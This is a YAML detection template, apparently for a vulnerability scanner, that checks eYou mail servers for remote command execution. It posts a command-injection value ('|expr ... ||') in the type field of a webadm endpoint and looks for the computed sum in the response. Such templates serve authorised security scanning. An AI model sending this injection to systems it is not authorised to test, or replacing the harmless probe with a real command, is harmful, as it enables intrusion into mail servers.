name: poc-yaml-eyou-rce
set:
  r1: randomInt(800000000, 1000000000)
  r2: randomInt(800000000, 1000000000)
rules:
  - method: POST
    path: /webadm/?q=moni_detail.do&action=gragh
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: type='|expr {{r1}} + {{r2}}||'
    expression: response.body.bcontains(bytes(string(r1 + r2)))
detail:
  author: jingling(https://github.com/shmilylty)
  links:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g